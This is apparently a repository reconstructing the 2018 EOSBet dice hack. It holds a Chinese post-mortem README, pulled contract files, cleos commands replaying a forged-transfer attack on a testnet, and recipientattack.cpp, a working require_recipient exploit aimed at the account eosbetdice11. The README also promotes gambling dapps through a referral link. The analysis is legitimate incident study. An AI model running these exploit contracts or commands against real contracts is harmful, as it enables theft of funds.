├── README.md ├── betdice.abi ├── betdice.wast ├── cmd ├── recipientattack.abi ├── recipientattack.cpp ├── recipientattack.wasm ├── recipientattack.wast ├── safetransfer.abi └── safetransfer.wast /README.md: -------------------------------------------------------------------------------- 1 | # BET被黑客攻击始末,实锤还原作案现场和攻击手段 2 | 3 | 4 | ## 前言 5 | 6 | 今天中午吃饭的时候,整个微信群讨论的沸沸扬扬的一件事,莫过于大名鼎鼎的日收万金的EOS大赌场:[eosbet](https://eosbet.io) 被黑客攻击了。 7 | 8 | eosbet,一向以团队技术实力强劲,代码安全性、容错性高为业界佳话。凭借 一款dice游戏,火遍全球,快速发展成全网第一的杀手DAPP。 9 | 10 | 截止目前为止, eosbet短短半个月,收入40多万EOS。 11 | 12 | DAPP排行榜上,交易流水第一。 13 | 14 | 15 | ![](https://ws4.sinaimg.cn/large/006tNbRwgy1fv95jwkjqbj31kw0iiq9c.jpg) 16 | 17 | 18 | 目前官方网站和游戏网站已经关闭。估计官方正在积极处理这件事情。 19 | 20 | https://eosbet.io 21 | https://dice.eosbet.io 22 | 23 | 24 | ## 调查作案现场 25 | 26 | 账号[aabbccddeefg](https://eosflare.io/account/aabbccddeefg) ,利用合约漏洞,无成本薅走 bet 奖池将近 5万EOS。 27 | 28 | ![](https://ws1.sinaimg.cn/large/006tNbRwgy1fv95qghmn0j31kw15z7c8.jpg) 29 | 30 | 一瞬间,开发者技术群热闹极了,除了表示对黑客技术的敬佩。都在猜测、分析攻击手段。 31 | 32 | ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fv96h93ef7j30m814iq5c.jpg) 33 | 34 | 于此同时,bet官方紧急发表声明,并且关闭了游戏: 35 | 36 | ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fv95w2mgcij30t603iq3f.jpg) 37 | 38 | ![](https://ws1.sinaimg.cn/large/006tNbRwgy1fv95vz7o53j30rs046t9a.jpg) 39 | 40 | 41 | 42 | ## 分析结果 43 | 44 | 群里高手众多,一大堆分析和猜测,最终得出了结论,并发表了一篇文章: 45 | 46 | [How EOSBET attacked by aabbccddeefg](https://www.reddit.com/r/eos/comments/9fpcik/how_eosbet_attacked_by_aabbccddeefg/) 47 | 48 | 这篇文章,解释了 bet 是如何被攻击的。以及应该如何避免。 49 | 50 | 死因非常非常简单: **竟然是代码中没有判断代码调用来源 是否是eosio.token** 51 | 52 | 这是非常低级的错误,照理说,不应该出现在 bet这样的项目里吧?? 53 | 54 | 其实,这应该说是真正的原因了。但是有趣的事情来了: 55 | 56 | bet官方关注了这篇文章,并且留言了: 57 | 58 | ![](https://ws3.sinaimg.cn/large/006tNbRwgy1fv961avmy0j31fk0ysah2.jpg) 59 | 60 | 官方解释说,是的,我们确实被攻击了, 但你说的这种小错误,我们强力的开发团队,是不会犯的。事情比你想象中严重的多。 61 | 62 | 意思就是,黑客是用了更匪夷所思的漏洞咯?? 63 | 64 | 这个确实把我们开发者群集体吓了一跳,一度怀疑EOS价格会因此暴跌,因为假如存在这样的漏洞,那么现有的EOS上的DAPP,无一能幸免。 65 | 66 | 说来也巧了, 分析还没完了,另一个 DAPP也被攻击了 67 | 68 | [https://eos.win/dice](https://eos.win/dice) 69 | 70 | 同样的dice游戏,不一样的项目方,排名稍微落后于bet。 71 | 72 | 同一个黑客,用同样的手段。 转走大量EOS。。 73 | 74 | https://eos.win/dice 现在已经被迫暂停游戏了。 75 | 76 | 77 | 。。你以为事情这样就结束了么。 78 | 79 | 80 | 接下来,更劲爆的消息是,除了赌场,连去中心化交易所 [newdex](https://newdex.io/),也被用同样的手段攻击了。。 81 | 82 | 83 | 84 | 此时此刻,排名前十的EOS dapp,有3个倒在黑客的~~怀里~~ 脚下。 85 | 86 | 87 | ![](media/15369152859150.jpg) 88 | 89 | 90 | 这样的巧合同时发生,我们也怀疑起上文提到的攻击方式。 91 | 92 | 攻击方式,真的仅仅是缺少了对 “eosio.token” 的判断么?? 93 | 94 | 还是真的存在 **毁灭性bug**, 足以让现有的DAPP全部阵亡 ? 95 | 96 | 这一切,需要用实际操作,去还原作案现场和攻击手段,才能断论。 97 | 98 | 99 | ## 还原作案现场 100 | 101 | 还原现场,我们需要案发时的 wast 和 abi文件。 102 | 103 | 但是bet官方已经紧急更新了合约代码,也就是说,案发现场,被官方自己破坏了。 104 | 105 | 不过还在,开发者群里,有小伙伴保留着 9月12号时的代码。也就是,我们能够还原案发现场。 106 | 107 | 在测试网,部署前天的代码,实现一遍攻击方式,看看是否有效。 108 | 109 | 前天的代码,我放在了github。有兴趣的技术小伙伴,都可以自行还原案发现场,扮演一会攻击者。 110 | 111 | ``` 112 | 113 | // 这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。 114 | 115 | cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11 116 | cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer 117 | 118 | // create account 119 | cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 120 | cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 121 | cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 122 | 123 | // set code 124 | cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast 125 | cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi 126 | 127 | cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast 128 | cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi 129 | 130 | // set permission 131 | cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner 132 | cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"safetransfer","permission":"eosio.code"},"weight":1}]}' owner -p safetransfer@owner 133 | cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p safetransfer@owner 134 | 135 | cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner 136 | 137 | 138 | // initcontract 139 | cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi"}' -p eosbetcasino 140 | 141 | // test 142 | cleos push action eosbetdice11 transfer '{"from":"joetothemoon","to":"eosbetdice11","quantity":"10.0000 EOS","memo":"88-okbtozhemoon-"}' -p joetothemoon 143 | 144 | // result 145 | cleos get actions joetothemoon 146 | 147 | cleos get table eosbetdice11 eosbetdice11 activebets 148 | 149 | // try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。 150 | cleos push action eosbetdice11 resolvebet '{"bet_id":"13268895739635552667", "sig":"SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY"}' -p eosbetcasino@random 151 | 152 | 153 | ``` 154 | 155 | 步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。 156 | 157 | 158 | 先执行 : 159 | 160 | ``` 161 | // test 162 | cleos push action eosbetdice11 transfer '{"from":"joetothemoon","to":"eosbetdice11","quantity":"10.0000 EOS","memo":"88-okbtozhemoon-"}' -p joetothemoon 163 | 164 | ``` 165 | 166 | 也就是直接调用 合约的 tranfer : 167 | 168 | 发现执行成功。 169 | 170 | 171 | 获取等待开奖的下注记录: 172 | 173 | ``` 174 | 175 | cleos get table eosbetdice11 eosbetdice11 activebets 176 | 177 | ``` 178 | 179 | ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fv96n6cw7jj30yq0k6tct.jpg) 180 | 181 | 由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的, 182 | 183 | 接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖 184 | 185 | ``` 186 | // try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。 187 | cleos push action eosbetdice11 resolvebet '{"bet_id":"13268895739635552667", "sig":"SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY"}' -p eosbetcasino@random 188 | 189 | ``` 190 | 191 | 这里的开奖方式注意下,需要传入一个签名。请自己去生成。 192 | 193 | 从直接调用 tansfer ,到生成下注记录,再到调用开奖。 194 | 195 | 结论已经很明显了。 196 | 197 | **根本不存在什么毁灭性bug,只是有一个程序员要祭天了而已..** 198 | 199 | 200 | ## 事后诸葛亮 201 | 202 | 为什么 bet这样的团队,会犯这样低级的错误? 203 | 204 | 原因猜测, bet团队,并没有暴漏tranfer 接口到abi里。 205 | 206 | 于是疏忽大意了,以为黑客就无法直接调用 tranfer。 207 | 208 | 事实上,就是 abi接口里不暴漏。依然可以被调用。 209 | 210 | 大神称之位: **onchain攻击**。详细参考: 211 | 212 | https://zhuanlan.zhihu.com/p/42903901?utm_source=wechat_session&utm_medium=social 213 | 214 | 215 | 216 | 那为什么 win、 newdex 等项目也会跟着被攻击? 217 | 218 | 据技术大神达峰兄推测,很可能是这些项目方,一起照搬了以下文章的代码片段: 219 | 220 | https://eosio.stackexchange.com/questions/421/how-to-do-something-when-your-contract-is-an-action-notification-recipient-like 221 | 222 | 223 | 可见这个问题,很有可能存在于很多项目里。于是,很多人开始发假币了,到各个DAPP试试,看能不能捡个漏。 224 | 225 | ![](https://ws3.sinaimg.cn/large/006tNbRwgy1fv96z2bcexj30gy0dowf2.jpg) 226 | 227 | 228 | ## 结论 229 | 230 | EOS DAPP 开发领域,真的是超早期。 231 | 232 | 存在各种人为bug。 233 | 234 | 各种匪夷所思的攻击手段。 235 | 236 | 离杀手级商用DAPP的面世,我们还有很多很多的坑要踩。 237 | 238 | 今天的事,是开发者写的代码的问题。 239 | 240 | 对EOS这个强大的公链基础设施的信仰不用动摇。 241 | 242 | 那么类似的游戏都不能玩了么? 243 | 244 | 我觉得不是,菠菜游戏和区块链天然完美结合。 245 | 246 | 区块链的特性,和菠菜游戏,有很好的结合点,在风雨飘摇的DAPP圈子里,还有些值得我们肯定的项目: 247 | 248 | 249 | 我下面就推荐几款不错的DAPP: 250 | 251 | ### EOS Knights 252 | 253 | 比如排行榜第二名:EOS Knights 骑士,就是一款正经的区块链游戏,做工精良,日活位居第二 254 | 255 | ![](https://ws4.sinaimg.cn/large/006tNbRwgy1fv9789ihv7j30ls128wj3.jpg) 256 | 257 | 比如排行榜: 258 | 259 | 类似的 dice游戏, 260 | 261 | ### ITE dice 262 | 还有 排名第三的 ITE dice,该项目后来居上,目前关注度颇高。 263 | 264 | 利用了区块链的公开、透明性质,使用了人人坐庄,平台中立的设计。从根本上,解决了菠菜游戏中,庄家无法自证清白的弊病,笔者体验了下,确实很不错。 265 | 266 | 该游戏目前不需要用EOS玩,而是用ITE coin玩。有需要体验的可以找我要 ITE coin。 267 | 268 | 然后用我的专属链接挑战我: 269 | 270 | https://dice.ite.zone?ref=joetothemoon&bk=joetothemoon 271 | 272 | ![](https://ws1.sinaimg.cn/large/006tNbRwgy1fv97qkjzqaj31kw0tth9z.jpg) 273 | 274 | ### EOS Shadows 275 | 276 | [简影游戏](https://eosbao.io/),该项目,是一群有理想的学生朋友,利用区块链的特性,为自己融资,在用开发出来的DAPP给投资者分红。利用了bancor算法,可以说,是早期的 IBO 践行者了。 277 | 278 | ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fv97qv9ryej31kw0zs47i.jpg) 279 | 280 | 281 | ### Fair dice 282 | 283 | [Fair dice](http://dapp.pub/dice/) 是一位我个人十分佩服的技术大神亲手开发的一个Dice项目: 284 | 285 | ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fv97r4w08fj31kw10sahz.jpg) 286 | 287 | 288 | 有人会说,怎么看起来 和bet 一模一样呢? 289 | 290 | 你错了,大神想做的,只是开发出一个真正的 Dice游戏,他只是为了提供完美的概率游戏解决方案, 291 | 292 | 前端这种东西,他才懒得开发,所以才直接负责了bet。 293 | 294 | 虽然前端一样,但本质上,这已经是一款真正的公平的区块链菠菜游戏。 295 | 296 | 代码已经开源,看完不禁为大神的代码质量所折服。 297 | 298 | https://github.com/Dappub/fairdicegame 299 | 300 | DAPP 开发者领域的发展,需要的是更多这样愿意奉献的开发者!! 301 | 302 | 致敬那些无私开源高质量代码的开发者。币圈太乱。EOS to the moon 靠你们了。 303 | 304 | 305 | 306 | 307 | 308 | -------------------------------------------------------------------------------- /betdice.abi: -------------------------------------------------------------------------------- 1 | { 2 | "version": "eosio::abi/1.0", 3 | "types": [], 4 | "structs": [{ 5 | "name": "bet", 6 | "base": "", 7 | "fields": [{ 8 | "name": "id", 9 | "type": "uint64" 10 | },{ 11 | "name": "bettor", 12 | "type": "name" 13 | },{ 14 | "name": "referral", 15 | "type": "name" 16 | },{ 17 | "name": "bet_amt", 18 | "type": "uint64" 19 | },{ 20 | "name": "roll_under", 21 | "type": "uint64" 22 | },{ 23 | "name": "seed", 24 | "type": "checksum256" 25 | },{ 26 | "name": "bet_time", 27 | "type": "time_point_sec" 28 | } 29 | ] 30 | },{ 31 | "name": "globalvar", 32 | "base": "", 33 | "fields": [{ 34 | "name": "id", 35 | "type": "uint64" 36 | },{ 37 | "name": "val", 38 | "type": "uint64" 39 | } 40 | ] 41 | },{ 42 | "name": "randkey", 43 | "base": "", 44 | "fields": [{ 45 | "name": "id", 46 | "type": "uint64" 47 | },{ 48 | "name": "key", 49 | "type": "public_key" 50 | } 51 | ] 52 | },{ 53 | "name": "transfer", 54 | "base": "", 55 | "fields": [{ 56 | "name": "from", 57 | "type": "name" 58 | },{ 59 | "name": "to", 60 | "type": "name" 61 | },{ 62 | "name": "quantity", 63 | "type": "asset" 64 | },{ 65 | "name": "memo", 66 | "type": "string" 67 | } 68 | ] 69 | },{ 70 | "name": "initcontract", 71 | "base": "", 72 | "fields": [{ 73 | "name": "randomness_key", 74 | "type": "public_key" 75 | } 76 | ] 77 | },{ 78 | "name": "newrandkey", 79 | "base": "", 80 | "fields": [{ 81 | "name": "randomness_key", 82 | "type": "public_key" 83 | } 84 | ] 85 | },{ 86 | "name": "suspendbet", 87 | "base": "", 88 | "fields": [{ 89 | "name": "bet_id", 90 | "type": "uint64" 91 | } 92 | ] 93 | },{ 94 | "name": "resolvebet", 95 | "base": "", 96 | "fields": [{ 97 | "name": "bet_id", 98 | "type": "uint64" 99 | },{ 100 | "name": "sig", 101 | "type": "signature" 102 | } 103 | ] 104 | },{ 105 | "name": "betreceipt", 106 | "base": "", 107 | "fields": [{ 108 | "name": "bet_id", 109 | "type": "uint64" 110 | },{ 111 | "name": "bettor", 112 | "type": "name" 113 | },{ 114 | "name": "amt_contract", 115 | "type": "name" 116 | },{ 117 | "name": "bet_amt", 118 | "type": "asset" 119 | },{ 120 | "name": "payout", 121 | "type": "asset" 122 | },{ 123 | "name": "seed", 124 | "type": "checksum256" 125 | },{ 126 | "name": "signature", 127 | "type": "signature" 128 | },{ 129 | "name": "roll_under", 130 | "type": "uint64" 131 | },{ 132 | "name": "random_roll", 133 | "type": "uint64" 134 | } 135 | ] 136 | },{ 137 | "name": "refundbet", 138 | "base": "", 139 | "fields": [{ 140 | "name": "bet_id", 141 | "type": "uint64" 142 | } 143 | ] 144 | } 145 | ], 146 | "actions": [{ 147 | "name": "transfer", 148 | "type": "transfer", 149 | "ricardian_contract": "" 150 | },{ 151 | "name": "initcontract", 152 | "type": "initcontract", 153 | "ricardian_contract": "" 154 | },{ 155 | "name": "newrandkey", 156 | "type": "newrandkey", 157 | "ricardian_contract": "" 158 | },{ 159 | "name": "suspendbet", 160 | "type": "suspendbet", 161 | "ricardian_contract": "" 162 | },{ 163 | "name": "resolvebet", 164 | "type": "resolvebet", 165 | "ricardian_contract": "" 166 | },{ 167 | "name": "betreceipt", 168 | "type": "betreceipt", 169 | "ricardian_contract": "" 170 | },{ 171 | "name": "refundbet", 172 | "type": "refundbet", 173 | "ricardian_contract": "" 174 | } 175 | ], 176 | "tables": [{ 177 | "name": "activebets", 178 | "index_type": "i64", 179 | "key_names": [ 180 | "id" 181 | ], 182 | "key_types": [ 183 | "uint64" 184 | ], 185 | "type": "bet" 186 | },{ 187 | "name": "globalvars", 188 | "index_type": "i64", 189 | "key_names": [ 190 | "id" 191 | ], 192 | "key_types": [ 193 | "uint64" 194 | ], 195 | "type": "globalvar" 196 | },{ 197 | "name": "randkeys", 198 | "index_type": "i64", 199 | "key_names": [ 200 | "id" 201 | ], 202 | "key_types": [ 203 | "uint64" 204 | ], 205 | "type": "randkey" 206 | } 207 | ], 208 | "ricardian_clauses": [], 209 | "error_messages": [], 210 | "abi_extensions": [] 211 | } -------------------------------------------------------------------------------- /cmd: -------------------------------------------------------------------------------- 1 | // 这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。 2 | 3 | cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11 4 | cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer 5 | 6 | // create account 7 | cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 8 | cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 9 | cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi 10 | 11 | // set code 12 | cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast 13 | cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi 14 | 15 | cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast 16 | cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi 17 | 18 | // set permission 19 | cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner 20 | cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"safetransfer","permission":"eosio.code"},"weight":1}]}' owner -p safetransfer@owner 21 | cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p safetransfer@owner 22 | 23 | cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner 24 | 25 | // initcontract 26 | cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi"}' -p eosbetcasino 27 | 28 | // test 29 | cleos push action eosbetdice11 transfer '{"from":"joetothemoon","to":"eosbetdice11","quantity":"10.0000 EOS","memo":"88-okbtozhemoon-"}' -p joetothemoon 30 | 31 | // result 32 | cleos get actions joetothemoon 33 | 34 | // table data 35 | cleos get table eosbetdice11 eosbetdice11 activebets 36 | 37 | // try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。 38 | cleos push action eosbetdice11 resolvebet '{"bet_id":"13268895739635552667", "sig":"SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY"}' -p eosbetcasino@random 39 | 40 | 41 | // 10.15 require_recipient attack 42 | 43 | // deploy hack contract 44 | eosiocpp -o /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.wast /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.cpp 45 | eosiocpp -g /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.abi /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.cpp 46 | 47 | cleos set code testuser1111 /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.wast 48 | cleos set abi testuser1111 /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.abi 49 | 50 | cleos transfer joetothemoon testuser1111 "1.0000 EOS" "66-testuser1111-" -p joetothemoon 51 | -------------------------------------------------------------------------------- /recipientattack.abi: -------------------------------------------------------------------------------- 1 | { 2 | "____comment": "This file was generated by eosio-abigen. DO NOT EDIT - 2018-10-15T11:37:36", 3 | "version": "eosio::abi/1.0", 4 | "types": [], 5 | "structs": [{ 6 | "name": "transfer", 7 | "base": "", 8 | "fields": [{ 9 | "name": "from", 10 | "type": "name" 11 | },{ 12 | "name": "to", 13 | "type": "name" 14 | },{ 15 | "name": "quantity", 16 | "type": "asset" 17 | },{ 18 | "name": "memo", 19 | "type": "string" 20 | } 21 | ] 22 | } 23 | ], 24 | "actions": [{ 25 | "name": "transfer", 26 | "type": "transfer", 27 | "ricardian_contract": "" 28 | } 29 | ], 30 | "tables": [], 31 | "ricardian_clauses": [], 32 | "error_messages": [], 33 | "abi_extensions": [] 34 | } -------------------------------------------------------------------------------- /recipientattack.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace eosio; 4 | 5 | class recipientattack : public contract 6 | { 7 | public: 8 | recipientattack(account_name self) 9 | : contract(self) 10 | { 11 | } 12 | void transfer(account_name from, account_name to, asset quantity, string memo) 13 | { 14 | if (from == _self || to != _self) 15 | { 16 | return; 17 | } 18 | 19 | require_recipient(N(eosbetdice11)); 20 | } 21 | }; 22 | 23 | #undef EOSIO_ABI 24 | #define EOSIO_ABI(TYPE, MEMBERS) \ 25 | extern "C" { \ 26 | void apply(uint64_t receiver, uint64_t code, uint64_t action) \ 27 | { \ 28 | auto self = receiver; \ 29 | if (action == N(onerror)) \ 30 | { \ 31 | eosio_assert(code == N(eosio), "only system account"); \ 32 | } \ 33 | if ((code == N(eosio.token) && action == N(transfer))) \ 34 | { \ 35 | TYPE thiscontract(self); \ 36 | switch (action) \ 37 | { \ 38 | EOSIO_API(TYPE, MEMBERS) \ 39 | } \ 40 | } \ 41 | } \ 42 | } 43 | 44 | EOSIO_ABI(recipientattack, (transfer)) -------------------------------------------------------------------------------- /recipientattack.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jc1991x/bet-death-causes/7c3342705a3da3842860d6a43076607b6ee1131d/recipientattack.wasm -------------------------------------------------------------------------------- /recipientattack.wast: -------------------------------------------------------------------------------- 1 | (module 2 | (type $FUNCSIG$vijjii (func (param i32 i64 i64 i32 i32))) 3 | (type $FUNCSIG$v (func)) 4 | (type $FUNCSIG$j (func (result i64))) 5 | (type $FUNCSIG$vjj (func (param i64 i64))) 6 | (type $FUNCSIG$vii (func (param i32 i32))) 7 | (type $FUNCSIG$i (func (result i32))) 8 | (type $FUNCSIG$iii (func (param i32 i32) (result i32))) 9 | (type $FUNCSIG$iiii (func (param i32 i32 i32) (result i32))) 10 | (type $FUNCSIG$vj (func (param i64))) 11 | (import "env" "abort" (func $abort)) 12 | (import "env" "action_data_size" (func $action_data_size (result i32))) 13 | (import "env" "current_time" (func $current_time (result i64))) 14 | (import "env" "eosio_assert" (func $eosio_assert (param i32 i32))) 15 | (import "env" "memcpy" (func $memcpy (param i32 i32 i32) (result i32))) 16 | (import "env" "read_action_data" (func $read_action_data (param i32 i32) (result i32))) 17 | (import "env" "require_auth2" (func $require_auth2 (param i64 i64))) 18 | (import "env" "require_recipient" (func $require_recipient (param i64))) 19 | (table 2 2 anyfunc) 20 | (elem (i32.const 0) $__wasm_nullptr $_ZN15recipientattack8transferEyyN5eosio5assetENSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEE) 21 | (memory $0 1) 22 | (data (i32.const 4) "0b\00\00") 23 | (data (i32.const 16) "onerror\00") 24 | (data (i32.const 32) "eosio\00") 25 | (data (i32.const 48) "only system account\00") 26 | (data (i32.const 80) "eosio.token\00") 27 | (data (i32.const 96) "transfer\00") 28 | (data (i32.const 112) "magnitude of asset amount must be less than 2^62\00") 29 | (data (i32.const 176) "invalid symbol name\00") 30 | (data (i32.const 208) "read\00") 31 | (data (i32.const 224) "get\00") 32 | (data (i32.const 240) "eosbetdice11\00") 33 | (data (i32.const 8656) "malloc_from_freed was designed to only be called after _heap was completely allocated\00") 34 | (export "memory" (memory $0)) 35 | (export "_ZeqRK11checksum256S1_" (func $_ZeqRK11checksum256S1_)) 36 | (export "_ZeqRK11checksum160S1_" (func $_ZeqRK11checksum160S1_)) 37 | (export "_ZneRK11checksum160S1_" (func $_ZneRK11checksum160S1_)) 38 | (export "now" (func $now)) 39 | (export "_ZN5eosio12require_authERKNS_16permission_levelE" (func $_ZN5eosio12require_authERKNS_16permission_levelE)) 40 | (export "apply" (func $apply)) 41 | (export "malloc" (func $malloc)) 42 | (export "free" (func $free)) 43 | (export "memcmp" (func $memcmp)) 44 | (func $_ZeqRK11checksum256S1_ (param $0 i32) (param $1 i32) (result i32) 45 | (i32.eqz 46 | (call $memcmp 47 | (get_local $0) 48 | (get_local $1) 49 | (i32.const 32) 50 | ) 51 | ) 52 | ) 53 | (func $_ZeqRK11checksum160S1_ (param $0 i32) (param $1 i32) (result i32) 54 | (i32.eqz 55 | (call $memcmp 56 | (get_local $0) 57 | (get_local $1) 58 | (i32.const 32) 59 | ) 60 | ) 61 | ) 62 | (func $_ZneRK11checksum160S1_ (param $0 i32) (param $1 i32) (result i32) 63 | (i32.ne 64 | (call $memcmp 65 | (get_local $0) 66 | (get_local $1) 67 | (i32.const 32) 68 | ) 69 | (i32.const 0) 70 | ) 71 | ) 72 | (func $now (result i32) 73 | (i32.wrap/i64 74 | (i64.div_u 75 | (call $current_time) 76 | (i64.const 1000000) 77 | ) 78 | ) 79 | ) 80 | (func $_ZN5eosio12require_authERKNS_16permission_levelE (param $0 i32) 81 | (call $require_auth2 82 | (i64.load 83 | (get_local $0) 84 | ) 85 | (i64.load offset=8 86 | (get_local $0) 87 | ) 88 | ) 89 | ) 90 | (func $apply (param $0 i64) (param $1 i64) (param $2 i64) 91 | (local $3 i32) 92 | (local $4 i32) 93 | (local $5 i64) 94 | (local $6 i64) 95 | (local $7 i64) 96 | (local $8 i64) 97 | (local $9 i32) 98 | (i32.store offset=4 99 | (i32.const 0) 100 | (tee_local $9 101 | (i32.sub 102 | (i32.load offset=4 103 | (i32.const 0) 104 | ) 105 | (i32.const 32) 106 | ) 107 | ) 108 | ) 109 | (set_local $6 110 | (i64.const 0) 111 | ) 112 | (set_local $5 113 | (i64.const 59) 114 | ) 115 | (set_local $4 116 | (i32.const 16) 117 | ) 118 | (set_local $7 119 | (i64.const 0) 120 | ) 121 | (loop $label$0 122 | (block $label$1 123 | (block $label$2 124 | (block $label$3 125 | (block $label$4 126 | (block $label$5 127 | (br_if $label$5 128 | (i64.gt_u 129 | (get_local $6) 130 | (i64.const 6) 131 | ) 132 | ) 133 | (br_if $label$4 134 | (i32.gt_u 135 | (i32.and 136 | (i32.add 137 | (tee_local $3 138 | (i32.load8_s 139 | (get_local $4) 140 | ) 141 | ) 142 | (i32.const -97) 143 | ) 144 | (i32.const 255) 145 | ) 146 | (i32.const 25) 147 | ) 148 | ) 149 | (set_local $3 150 | (i32.add 151 | (get_local $3) 152 | (i32.const 165) 153 | ) 154 | ) 155 | (br $label$3) 156 | ) 157 | 